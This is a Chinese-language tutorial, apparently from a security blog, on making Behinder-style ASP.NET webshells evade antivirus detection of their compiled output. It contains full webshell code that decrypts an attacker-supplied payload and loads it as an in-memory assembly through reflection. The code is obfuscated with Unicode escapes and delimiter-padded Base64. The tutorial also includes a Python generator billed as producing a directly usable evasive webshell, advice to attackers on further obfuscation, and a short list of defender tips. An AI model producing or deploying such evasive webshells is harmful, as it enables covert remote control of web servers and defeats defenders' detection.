ASP.NET下Webshell编译产物免杀
字数 998 2025-08-22 12:22:24

ASP.NET下Webshell编译产物免杀技术详解

一、背景与问题分析

1.1 Webshell免杀现状

  • 传统Webshell文件免杀技术(如Unicode编码)对源文件有效
  • 但编译后的产物仍会被杀毒软件(如卡巴斯基)检测到
  • 以冰蝎aspx webshell为例,虽然aspx/ashx/asmx文件未被杀,但编译产物被杀导致无法连接

1.2 传统免杀技术失效分析

通过dnSpy反编译和测试,以下方法对编译产物无效:

  1. Unicode编码
  2. 空字符串连接
  3. <%%>截断
  4. 头部替换
  5. 特殊符号@
  6. 注释
  7. 字符串常量的拼接(如"Load"替换为"Lo"+"ad"

二、杀软查杀特征分析

2.1 主要查杀点

  1. 方法调用特征

    • AES解密:System.Security.Cryptography.RijndaelManaged
    • 内存加载程序集:System.Reflection.Assembly.Load
  2. 字符串常量

    • 关键方法名和类名字符串

三、免杀技术实现

3.1 方法调用免杀技术

反射调用敏感方法

<% @ Page Language = "C#" %>
<% 
    Session.Add("k", "e45e329feb5d925b");
    byte[] k = Encoding.Default.GetBytes(Session[0] + ""), 
           c = Request.BinaryRead(Request.ContentLength);
    
    // AES解密
    Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
    object aes = Activator.CreateInstance(t1);
    var decryptor = t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) });
    var transform = decryptor.Invoke(aes, new object[] { k, k });
    byte[] data = ((System.Security.Cryptography.ICryptoTransform)transform).TransformFinalBlock(c, 0, c.Length);
    
    // 加载程序集
    Type t2 = Type.GetType("System.Reflection.Assembly");
    var load = t2.GetMethod("Load", new Type[] { typeof(byte[]) });
    var assembly = load.Invoke(null, new object[] { data });
    
    // 调用程序集
    var createInstance = t2.GetMethod("CreateInstance", new Type[] { typeof(string) });
    var instance = createInstance.Invoke(assembly, new object[] { "U" });
    instance.Equals(this);
%>

3.2 字符串常量免杀技术

变异Base64编码

// 原始字符串
"Load"

// 变异Base64编码后
System.Text.Encoding.UTF8.GetString(
    System.Convert.FromBase64String("T(G(9(h(Z(A(=(=".Replace("(", "")))

实现原理

  1. 将字符串转换为Base64编码
  2. 在Base64字符串中插入随机分隔符
  3. 使用时动态移除分隔符并解码

3.3 Unicode编码保留

为保证aspx文件本身的免杀,仍需使用Unicode编码:

// 原始
Session.Add

// Unicode编码后
\u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064

四、完整免杀实现

4.1 最终代码结构

<%@ Page Language="C#"%><%
\u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064(
    System.Text.Encoding.UTF8.GetString(
        System.Convert.FromBase64String("a$w$=$=".Replace("$",""))),
    System.Text.Encoding.UTF8.GetString(
        System.Convert.FromBase64String("Z{T{Q{1{Z{T{M{y{O{W{Z{l{Y{j{V{k{O{T{I{1{Y{g{={=".Replace("{",""))));
byte[] k = \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0044\u0065\u0066\u0061\u0075\u006c\u0074.\u0047\u0065\u0074\u0042\u0079\u0074\u0065\u0073(\u0053\u0065\u0073\u0073\u0069\u006f\u006e[0] + "");
byte[] c = \u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0042\u0069\u006e\u0061\u0072\u0079\u0052\u0065\u0061\u0064(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068);
// 其余反射调用代码...
%>

4.2 免杀效果

  • 原始检出率:15/xx (VT报告)
  • 优化后检出率:7/xx (VT报告)

五、自动化生成工具

5.1 Python实现代码

import re
import base64
import random

BEHINDER = '''
Session.Add("k", "e45e329feb5d925b");
byte[] k = Encoding.Default.GetBytes(Session[0] + "");
byte[] c = Request.BinaryRead(Request.ContentLength);
Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
Type t2 = Type.GetType("System.Reflection.Assembly");
t2.GetMethod("CreateInstance", new Type[] { typeof(string) }).Invoke(
    t2.GetMethod("Load", new Type[] { typeof(byte[]) }).Invoke(null, 
        new object[] { ((System.Security.Cryptography.ICryptoTransform)
            t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) })
            .Invoke(Activator.CreateInstance(t1), new object[] { k, k }))
            .TransformFinalBlock(c, 0, c.Length) }),
    new object[] { "U" }).Equals(this);
'''

def replunicode(m):
    old = m.group(1)
    new = "".join([f'\\u{ord(c):04x}' for c in old])
    return m.group(0).replace(old, new)

def unicode(cs):
    return re.sub(r'[^"]\b([A-Z]\w+)\b', replunicode, cs)

def replstr(m):
    old: str = m.group(0)
    if len(old) == 2: return old
    old = old[1:-1]
    b64str = base64.b64encode(old.encode('utf-8')).decode('ascii')
    pad = random.choice("!@#$%^&*()_+-=[]{}|;:,.<>?")
    new = pad.join(list(b64str))
    return f'System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("{new}".Replace("{pad}", "")))'

def rstr(cs):
    return re.sub(r'".*?"', replstr, cs)

src = unicode(rstr(BEHINDER)).replace('\n', '')
print(f'<%@ Page Language="C#"%><%{src}%>')

5.2 工具功能

  1. 自动将字符串常量转换为变异Base64编码
  2. 自动将方法名和类名转换为Unicode编码
  3. 生成可直接使用的免杀Webshell

六、防御建议

6.1 针对防御方

  1. 加强运行时行为监控,特别是反射调用敏感API
  2. 检测Base64解码后内容而非编码形式
  3. 监控内存中的程序集加载行为

6.2 针对攻击方

  1. 定期更新编码方式和字符串变异方法
  2. 结合更多混淆技术(如控制流混淆)
  3. 避免使用固定密钥和特征字符串

七、总结

本技术通过反射调用和字符串变异实现了ASP.NET Webshell编译产物的免杀,有效规避了杀毒软件对固定特征和字符串常量的检测。关键在于:

  1. 完全避免直接调用敏感API
  2. 动态解码关键字符串
  3. 保持源文件和编译产物的双重免杀
ASP.NET下Webshell编译产物免杀技术详解 一、背景与问题分析 1.1 Webshell免杀现状 传统Webshell文件免杀技术(如Unicode编码)对源文件有效 但编译后的产物仍会被杀毒软件(如卡巴斯基)检测到 以冰蝎aspx webshell为例,虽然aspx/ashx/asmx文件未被杀,但编译产物被杀导致无法连接 1.2 传统免杀技术失效分析 通过dnSpy反编译和测试,以下方法对编译产物无效: Unicode编码 空字符串连接 <%%> 截断 头部替换 特殊符号 @ 注释 字符串常量的拼接(如 "Load" 替换为 "Lo"+"ad" ) 二、杀软查杀特征分析 2.1 主要查杀点 方法调用特征 : AES解密: System.Security.Cryptography.RijndaelManaged 内存加载程序集: System.Reflection.Assembly.Load 字符串常量 : 关键方法名和类名字符串 三、免杀技术实现 3.1 方法调用免杀技术 反射调用敏感方法 3.2 字符串常量免杀技术 变异Base64编码 实现原理 将字符串转换为Base64编码 在Base64字符串中插入随机分隔符 使用时动态移除分隔符并解码 3.3 Unicode编码保留 为保证aspx文件本身的免杀,仍需使用Unicode编码: 四、完整免杀实现 4.1 最终代码结构 4.2 免杀效果 原始检出率:15/xx (VT报告) 优化后检出率:7/xx (VT报告) 五、自动化生成工具 5.1 Python实现代码 5.2 工具功能 自动将字符串常量转换为变异Base64编码 自动将方法名和类名转换为Unicode编码 生成可直接使用的免杀Webshell 六、防御建议 6.1 针对防御方 加强运行时行为监控,特别是反射调用敏感API 检测Base64解码后内容而非编码形式 监控内存中的程序集加载行为 6.2 针对攻击方 定期更新编码方式和字符串变异方法 结合更多混淆技术(如控制流混淆) 避免使用固定密钥和特征字符串 七、总结 本技术通过反射调用和字符串变异实现了ASP.NET Webshell编译产物的免杀,有效规避了杀毒软件对固定特征和字符串常量的检测。关键在于: 完全避免直接调用敏感API 动态解码关键字符串 保持源文件和编译产物的双重免杀